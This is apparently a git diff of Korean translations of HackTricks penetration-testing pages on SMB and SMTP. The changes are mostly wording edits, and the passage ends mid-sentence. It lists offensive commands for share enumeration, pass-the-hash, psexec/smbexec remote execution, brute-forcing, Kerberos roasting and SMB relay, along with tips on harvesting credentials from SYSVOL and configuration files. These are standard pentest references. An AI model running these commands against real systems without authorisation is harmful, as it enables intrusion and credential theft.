๋ทฐ๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ, ์ด๋Š” ์ž ์žฌ์ ์ธ ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๊ณ  SMB ์„œ๋น„์Šค๊ฐ€ ์ ์ ˆํ•˜๊ฒŒ ๋ณดํ˜ธ๋˜๋„๋ก ํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. ```bash enum4linux -a target_ip ``` @@ -40,7 +40,7 @@ enum4linux -a target_ip ## NTLM์ด๋ž€ -NTLM์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅด๊ฑฐ๋‚˜ ๊ทธ๊ฒƒ์ด ์–ด๋–ป๊ฒŒ ์ž‘๋™ํ•˜๋Š”์ง€, ์–ด๋–ป๊ฒŒ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด, **์ด ํ”„๋กœํ† ์ฝœ์ด ์–ด๋–ป๊ฒŒ ์ž‘๋™ํ•˜๋Š”์ง€ ๋ฐ ์ด๋ฅผ ํ™œ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•**์— ๋Œ€ํ•ด ์„ค๋ช…ํ•˜๋Š” **NTLM**์— ๋Œ€ํ•œ ์ด ํŽ˜์ด์ง€๊ฐ€ ๋งค์šฐ ํฅ๋ฏธ๋กœ์šธ ๊ฒƒ์ž…๋‹ˆ๋‹ค: +NTLM์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅด๊ฑฐ๋‚˜ ๊ทธ๊ฒƒ์ด ์–ด๋–ป๊ฒŒ ์ž‘๋™ํ•˜๋Š”์ง€, ์–ด๋–ป๊ฒŒ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด, **์ด ํ”„๋กœํ† ์ฝœ์ด ์–ด๋–ป๊ฒŒ ์ž‘๋™ํ•˜๋Š”์ง€์™€ ์ด๋ฅผ ํ™œ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•**์— ๋Œ€ํ•ด ์„ค๋ช…ํ•˜๋Š” **NTLM**์— ๋Œ€ํ•œ ์ด ํŽ˜์ด์ง€๊ฐ€ ๋งค์šฐ ํฅ๋ฏธ๋กœ์šธ ๊ฒƒ์ž…๋‹ˆ๋‹ค: {{#ref}} ../../windows-hardening/ntlm/ @@ -212,7 +212,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t (_**Network Security Assessment 3rd edition**_์˜ ์ผ๋ฐ˜์ ์ธ ๊ณต์œ  ์ด๋ฆ„) -๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋“ค์— ์—ฐ๊ฒฐํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋“ค์— ์—ฐ๊ฒฐํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) @@ -239,7 +239,7 @@ done smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Windows์—์„œ ๊ณต์œ  ๋ชฉ๋ก ์—ด๊ธฐ / ์„œ๋“œํŒŒํ‹ฐ ๋„๊ตฌ ์—†์ด** +### **Windows์—์„œ ๊ณต์œ ๋ฅผ ์—ด๊ฑฐํ•˜๊ธฐ / ์„œ๋“œํŒŒํ‹ฐ ๋„๊ตฌ ์—†์ด** PowerShell ```powershell @@ -300,7 +300,7 @@ smbclient /// ### ๋„๋ฉ”์ธ ๊ณต์œ  ํด๋” ๊ฒ€์ƒ‰ -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)**** +- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` @@ -310,15 +310,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -ํŠนํžˆ ํฅ๋ฏธ๋กœ์šด ๊ณต์œ  ํŒŒ์ผ์€ **`Registry.xml`**๋กœ, ์ด๋Š” **autologon**์œผ๋กœ ๊ตฌ์„ฑ๋œ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜๋Š” **`web.config`** ํŒŒ์ผ์€ ์ž๊ฒฉ ์ฆ๋ช…์„ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. +ํŠนํžˆ ํฅ๋ฏธ๋กœ์šด ๊ณต์œ  ํŒŒ์ผ์€ **`Registry.xml`**๋กœ, ์ด๋Š” **autologon**์ด Group Policy๋ฅผ ํ†ตํ•ด ๊ตฌ์„ฑ๋œ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ **ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ๋˜๋Š” **`web.config`** ํŒŒ์ผ์€ ์ž๊ฒฉ ์ฆ๋ช…์„ **ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค**. > [!NOTE] -> **SYSVOL ๊ณต์œ **๋Š” ๋„๋ฉ”์ธ ๋‚ด ๋ชจ๋“  ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๊ฐ€ **์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ๊ทธ ์•ˆ์—๋Š” ๋‹ค์–‘ํ•œ ๋ฐฐ์น˜, VBScript ๋ฐ PowerShell **์Šคํฌ๋ฆฝํŠธ**๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -> ๊ทธ ์•ˆ์˜ **์Šคํฌ๋ฆฝํŠธ**๋ฅผ **ํ™•์ธ**ํ•ด์•ผ ํ•˜๋ฉฐ, **๋น„๋ฐ€๋ฒˆํ˜ธ**์™€ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ **์ฐพ์„ ์ˆ˜** ์žˆ์Šต๋‹ˆ๋‹ค. +> **SYSVOL ๊ณต์œ **๋Š” ๋„๋ฉ”์ธ ๋‚ด ๋ชจ๋“  ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๊ฐ€ **์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ๊ทธ ์•ˆ์—๋Š” ๋‹ค์–‘ํ•œ ๋ฐฐ์น˜, VBScript ๋ฐ PowerShell **์Šคํฌ๋ฆฝํŠธ**๊ฐ€ **์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**.\ +> ๊ทธ ์•ˆ์˜ **์Šคํฌ๋ฆฝํŠธ**๋ฅผ **ํ™•์ธ**ํ•ด์•ผ ํ•˜๋ฉฐ, **๋น„๋ฐ€๋ฒˆํ˜ธ**์™€ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ **์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ## ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์ฝ๊ธฐ -๋ฐœ๊ฒฌ๋œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ **๋ ˆ์ง€์ŠคํŠธ๋ฆฌ**๋ฅผ **์ฝ์„ ์ˆ˜** ์žˆ์Šต๋‹ˆ๋‹ค. Impacket **`reg.py`**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋ฐœ๊ฒฌ๋œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ **๋ ˆ์ง€์ŠคํŠธ๋ฆฌ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. Impacket **`reg.py`**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -333,13 +333,13 @@ The **default config of** a **Samba** server is usually located in `/etc/samba/s | `browseable = yes` | ํ˜„์žฌ ๊ณต์œ ์—์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๊ณต์œ  ๋ชฉ๋ก์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | | `read only = no` | ํŒŒ์ผ์˜ ์ƒ์„ฑ ๋ฐ ์ˆ˜์ •์„ ๊ธˆ์ง€ํ•ฉ๋‹ˆ๊นŒ? | | `writable = yes` | ์‚ฌ์šฉ์ž๊ฐ€ ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | -| `guest ok = yes` | ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด ์„œ๋น„์Šค์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | +| `guest ok = yes` | ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด ์„œ๋น„์Šค์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | | `enable privileges = yes` | ํŠน์ • SID์— ํ• ๋‹น๋œ ๊ถŒํ•œ์„ ์กด์ค‘ํ•ฉ๋‹ˆ๊นŒ? | | `create mask = 0777` | ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ํŒŒ์ผ์— ์–ด๋–ค ๊ถŒํ•œ์ด ํ• ๋‹น๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | | `directory mask = 0777` | ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ๋””๋ ‰ํ† ๋ฆฌ์— ์–ด๋–ค ๊ถŒํ•œ์ด ํ• ๋‹น๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | -| `logon script = script.sh` | ์‚ฌ์šฉ์ž์˜ ๋กœ๊ทธ์ธ ์‹œ ์–ด๋–ค ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | -| `magic script = script.sh` | ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ข…๋ฃŒ๋  ๋•Œ ์–ด๋–ค ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | -| `magic output = script.out` | ๋งˆ๋ฒ• ์Šคํฌ๋ฆฝํŠธ์˜ ์ถœ๋ ฅ์ด ์–ด๋””์— ์ €์žฅ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | +| `logon script = script.sh` | ์‚ฌ์šฉ์ž์˜ ๋กœ๊ทธ์ธ ์‹œ ์‹คํ–‰ํ•ด์•ผ ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋Š” ๋ฌด์—‡์ž…๋‹ˆ๊นŒ? | +| `magic script = script.sh` | ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ข…๋ฃŒ๋  ๋•Œ ์‹คํ–‰ํ•ด์•ผ ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋Š” ๋ฌด์—‡์ž…๋‹ˆ๊นŒ? | +| `magic output = script.out` | ๋งˆ๋ฒ• ์Šคํฌ๋ฆฝํŠธ์˜ ์ถœ๋ ฅ์ด ์ €์žฅ๋˜์–ด์•ผ ํ•˜๋Š” ์œ„์น˜๋Š” ์–ด๋””์ž…๋‹ˆ๊นŒ? | The command `smbstatus` gives information about the **server** and about **who is connected**. @@ -378,7 +378,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -๋‘ ์˜ต์…˜ ๋ชจ๋‘ **์ƒˆ ์„œ๋น„์Šค๋ฅผ ์ƒ์„ฑ**ํ•ฉ๋‹ˆ๋‹ค (_\pipe\svcctl_์„ ์‚ฌ์šฉํ•˜์—ฌ SMB๋ฅผ ํ†ตํ•ด) ํ”ผํ•ด์ž ๋จธ์‹ ์—์„œ ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰**ํ•ฉ๋‹ˆ๋‹ค (**psexec**๋Š” **์‹คํ–‰ ํŒŒ์ผ์„ ADMIN$ ๊ณต์œ ์— ์—…๋กœ๋“œ**ํ•˜๊ณ  **smbexec**๋Š” **cmd.exe/powershell.exe**๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฉฐ ์ธ์ˆ˜์— ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋„ฃ์Šต๋‹ˆ๋‹ค --**ํŒŒ์ผ ์—†๋Š” ๊ธฐ๋ฒ•-**-).\ +๋‘ ์˜ต์…˜์€ **์ƒˆ๋กœ์šด ์„œ๋น„์Šค๋ฅผ ์ƒ์„ฑ**ํ•ฉ๋‹ˆ๋‹ค (_\pipe\svcctl_์„ ์‚ฌ์šฉํ•˜์—ฌ SMB๋ฅผ ํ†ตํ•ด) ํ”ผํ•ด์ž ๋จธ์‹ ์—์„œ ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰**ํ•ฉ๋‹ˆ๋‹ค (**psexec**๋Š” **์‹คํ–‰ ํŒŒ์ผ์„ ADMIN$ ๊ณต์œ ์— ์—…๋กœ๋“œ**ํ•˜๊ณ  **smbexec**๋Š” **cmd.exe/powershell.exe**๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฉฐ ์ธ์ˆ˜์— ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋„ฃ์Šต๋‹ˆ๋‹ค --**ํŒŒ์ผ ์—†๋Š” ๊ธฐ๋ฒ•-**-).\ **์ž์„ธํ•œ ์ •๋ณด**๋Š” [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)์™€ [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค.\ **kali**์—์„œ๋Š” /usr/share/doc/python3-impacket/examples/์— ์œ„์น˜ํ•ด ์žˆ์Šต๋‹ˆ๋‹ค. ```bash @@ -388,7 +388,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -**๋งค๊ฐœ๋ณ€์ˆ˜**`-k`๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด **NTLM** ๋Œ€์‹  **kerberos**์— ๋Œ€ํ•ด ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +**๋งค๊ฐœ๋ณ€์ˆ˜**`-k`๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด **kerberos**๋ฅผ ํ†ตํ•ด **NTLM** ๋Œ€์‹  ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec @@ -421,14 +421,14 @@ SMB๋ฅผ ํ†ตํ•ด Task Scheduler๋ฅผ ํ†ตํ•ด ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค (_\pipe\atsvc_ ## **์‚ฌ์šฉ์ž ์ž๊ฒฉ ์ฆ๋ช… ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…** -**์ด๊ฒƒ์€ ๊ถŒ์žฅ๋˜์ง€ ์•Š์œผ๋ฉฐ, ํ—ˆ์šฉ๋œ ์ตœ๋Œ€ ์‹œ๋„๋ฅผ ์ดˆ๊ณผํ•˜๋ฉด ๊ณ„์ •์ด ์ฐจ๋‹จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** +**์ด๊ฒƒ์€ ๊ถŒ์žฅ๋˜์ง€ ์•Š์œผ๋ฉฐ, ์ตœ๋Œ€ ํ—ˆ์šฉ ์‹œ๋„๋ฅผ ์ดˆ๊ณผํ•˜๋ฉด ๊ณ„์ •์ด ์ฐจ๋‹จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB ๋ฆด๋ ˆ์ด ๊ณต๊ฒฉ -์ด ๊ณต๊ฒฉ์€ Responder ํˆดํ‚ท์„ ์‚ฌ์šฉํ•˜์—ฌ **๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ์—์„œ SMB ์ธ์ฆ ์„ธ์…˜์„ ์บก์ฒ˜**ํ•˜๊ณ , ์ด๋ฅผ **๋Œ€์ƒ ๋จธ์‹ **์œผ๋กœ **๋ฆด๋ ˆ์ด**ํ•ฉ๋‹ˆ๋‹ค. ์ธ์ฆ **์„ธ์…˜์ด ์„ฑ๊ณตํ•˜๋ฉด**, ์ž๋™์œผ๋กœ **์‹œ์Šคํ…œ** **์‰˜**๋กœ ์ง„์ž…ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.\ +์ด ๊ณต๊ฒฉ์€ Responder ํˆดํ‚ท์„ ์‚ฌ์šฉํ•˜์—ฌ **๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ์—์„œ SMB ์ธ์ฆ ์„ธ์…˜์„ ์บก์ฒ˜**ํ•˜๊ณ , ์ด๋ฅผ **๋Œ€์ƒ ๋จธ์‹ **์œผ๋กœ **๋ฆด๋ ˆ์ด**ํ•ฉ๋‹ˆ๋‹ค. ์ธ์ฆ **์„ธ์…˜์ด ์„ฑ๊ณต์ **์ด๋ฉด ์ž๋™์œผ๋กœ **์‹œ์Šคํ…œ** **์‰˜**๋กœ ์ง„์ž…ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.\ [**์ด ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•˜์„ธ์š”.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap @@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request -https://book.hacktricks.xyz/pentesting/pentesting-smb +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html Entry_2: Name: Enum4Linux diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index c7b9a6ecc..e1c57dfc4 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -4,9 +4,9 @@ ## **๊ธฐ๋ณธ ์ •๋ณด** -**๊ฐ„๋‹จํ•œ ๋ฉ”์ผ ์ „์†ก ํ”„๋กœํ† ์ฝœ (SMTP)**๋Š” **์ด๋ฉ”์ผ ์ „์†ก ๋ฐ ์ˆ˜์‹ **์„ ์œ„ํ•ด TCP/IP ์Šค์œ„ํŠธ ๋‚ด์—์„œ ์‚ฌ์šฉ๋˜๋Š” ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. ์ˆ˜์‹ ์ž์˜ ๋์—์„œ ๋ฉ”์‹œ์ง€๋ฅผ ๋Œ€๊ธฐ์—ด์— ๋„ฃ๋Š” ๋ฐ ํ•œ๊ณ„๊ฐ€ ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, SMTP๋Š” ์ข…์ข… **POP3 ๋˜๋Š” IMAP**๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ถ”๊ฐ€ ํ”„๋กœํ† ์ฝœ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์„œ๋ฒ„ ๋ฉ”์ผ๋ฐ•์Šค์— ๋ฉ”์‹œ์ง€๋ฅผ ์ €์žฅํ•˜๊ณ  ์ฃผ๊ธฐ์ ์œผ๋กœ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. +**๊ฐ„๋‹จํ•œ ๋ฉ”์ผ ์ „์†ก ํ”„๋กœํ† ์ฝœ (SMTP)**๋Š” **์ด๋ฉ”์ผ ์ „์†ก ๋ฐ ์ˆ˜์‹ **์„ ์œ„ํ•ด TCP/IP ์Šค์œ„ํŠธ ๋‚ด์—์„œ ์‚ฌ์šฉ๋˜๋Š” ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. ์ˆ˜์‹ ์ž์˜ ๋์—์„œ ๋ฉ”์‹œ์ง€๋ฅผ ํ์ž‰ํ•˜๋Š” ๋ฐ ํ•œ๊ณ„๊ฐ€ ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, SMTP๋Š” ์ข…์ข… **POP3 ๋˜๋Š” IMAP**๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ถ”๊ฐ€ ํ”„๋กœํ† ์ฝœ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์„œ๋ฒ„ ๋ฉ”์ผ๋ฐ•์Šค์— ๋ฉ”์‹œ์ง€๋ฅผ ์ €์žฅํ•˜๊ณ  ์ฃผ๊ธฐ์ ์œผ๋กœ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. -์‹ค์ œ๋กœ **์ด๋ฉ”์ผ ํ”„๋กœ๊ทธ๋žจ**์€ **์ด๋ฉ”์ผ ์ „์†ก์„ ์œ„ํ•ด SMTP๋ฅผ ์‚ฌ์šฉ**ํ•˜๊ณ , **์ˆ˜์‹ ์„ ์œ„ํ•ด POP3 ๋˜๋Š” IMAP์„ ์‚ฌ์šฉ**ํ•˜๋Š” ๊ฒƒ์ด ์ผ๋ฐ˜์ ์ž…๋‹ˆ๋‹ค. ์œ ๋‹‰์Šค ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์—์„œ๋Š” **sendmail**์ด ์ด๋ฉ”์ผ ์šฉ๋„๋กœ ๊ฐ€์žฅ ์ž์ฃผ ์‚ฌ์šฉ๋˜๋Š” SMTP ์„œ๋ฒ„๋กœ ๋‘๋“œ๋Ÿฌ์ง‘๋‹ˆ๋‹ค. Sendmail๋กœ ์•Œ๋ ค์ง„ ์ƒ์šฉ ํŒจํ‚ค์ง€๋Š” POP3 ์„œ๋ฒ„๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, **Microsoft Exchange**๋Š” SMTP ์„œ๋ฒ„๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ POP3 ์ง€์›์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ์˜ต์…˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. +์‹ค์ œ๋กœ **์ด๋ฉ”์ผ ํ”„๋กœ๊ทธ๋žจ**์€ **์ด๋ฉ”์ผ ์ „์†ก์„ ์œ„ํ•ด SMTP๋ฅผ ์‚ฌ์šฉ**ํ•˜๊ณ , **์ˆ˜์‹ ์„ ์œ„ํ•ด POP3 ๋˜๋Š” IMAP์„ ์‚ฌ์šฉ**ํ•˜๋Š” ๊ฒƒ์ด ์ผ๋ฐ˜์ ์ž…๋‹ˆ๋‹ค. ์œ ๋‹‰์Šค ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์—์„œ๋Š” **sendmail**์ด ์ด๋ฉ”์ผ ์šฉ๋„๋กœ ๊ฐ€์žฅ ์ž์ฃผ ์‚ฌ์šฉ๋˜๋Š” SMTP ์„œ๋ฒ„๋กœ ๋‘๋“œ๋Ÿฌ์ง‘๋‹ˆ๋‹ค. Sendmail์ด๋ผ๋Š” ์ƒ์šฉ ํŒจํ‚ค์ง€๋Š” POP3 ์„œ๋ฒ„๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, **Microsoft Exchange**๋Š” SMTP ์„œ๋ฒ„๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ POP3 ์ง€์›์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ์˜ต์…˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. **๊ธฐ๋ณธ ํฌํŠธ:** 25,465(ssl),587(ssl) ``` @@ -15,11 +15,11 @@ PORT STATE SERVICE REASON VERSION ``` ### EMAIL Headers -ํฌ๋ง์ ์œผ๋กœ **ํฌ์ƒ์ž๊ฐ€ ์ด๋ฉ”์ผ์„ ๋ณด๋‚ด๋„๋ก ํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐํšŒ๊ฐ€ ์žˆ๋‹ค๋ฉด** (์˜ˆ: ์›น ํŽ˜์ด์ง€์˜ ์—ฐ๋ฝ์ฒ˜ ์–‘์‹์„ ํ†ตํ•ด), ๊ทธ๋ ‡๊ฒŒ ํ•˜์„ธ์š”. ์™œ๋ƒํ•˜๋ฉด **์ด๋ฉ”์ผ ํ—ค๋”๋ฅผ ํ†ตํ•ด ํฌ์ƒ์ž์˜ ๋‚ด๋ถ€ ํ† ํด๋กœ์ง€๋ฅผ ์•Œ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.** +ํฌ์ƒ์ž๊ฐ€ **์ด๋ฉ”์ผ์„ ๋ณด๋‚ด๋„๋ก ํ•  ๊ธฐํšŒ๊ฐ€ ์žˆ๋‹ค๋ฉด** (์˜ˆ: ์›น ํŽ˜์ด์ง€์˜ ์—ฐ๋ฝ์ฒ˜ ์–‘์‹์„ ํ†ตํ•ด), ๊ทธ๋ ‡๊ฒŒ ํ•˜์„ธ์š”. **์ด๋ฉ”์ผ ํ—ค๋”๋ฅผ ํ†ตํ•ด ํฌ์ƒ์ž์˜ ๋‚ด๋ถ€ ํ† ํด๋กœ์ง€๋ฅผ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.** -๋˜ํ•œ **์กด์žฌํ•˜์ง€ ์•Š๋Š” ์ฃผ์†Œ๋กœ ๊ทธ ์„œ๋ฒ„์— ์ด๋ฉ”์ผ์„ ๋ณด๋‚ด๋ ค๊ณ  ์‹œ๋„ํ•˜์—ฌ SMTP ์„œ๋ฒ„์—์„œ ์ด๋ฉ”์ผ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** (์„œ๋ฒ„๊ฐ€ ๊ณต๊ฒฉ์ž์—๊ฒŒ NDN ๋ฉ”์ผ์„ ๋ณด๋‚ผ ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค). ๊ทธ๋Ÿฌ๋‚˜ ํ—ˆ์šฉ๋œ ์ฃผ์†Œ์—์„œ ์ด๋ฉ”์ผ์„ ๋ณด๋‚ด๊ณ  (SPF ์ •์ฑ…์„ ํ™•์ธํ•˜์„ธ์š”) NDN ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ›์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +๋˜ํ•œ **์กด์žฌํ•˜์ง€ ์•Š๋Š” ์ฃผ์†Œ๋กœ ์ด๋ฉ”์ผ์„ ๋ณด๋‚ด๋ ค๊ณ  SMTP ์„œ๋ฒ„์—์„œ ์ด๋ฉ”์ผ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** (์„œ๋ฒ„๊ฐ€ ๊ณต๊ฒฉ์ž์—๊ฒŒ NDN ๋ฉ”์ผ์„ ๋ณด๋‚ผ ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค). ํ•˜์ง€๋งŒ, 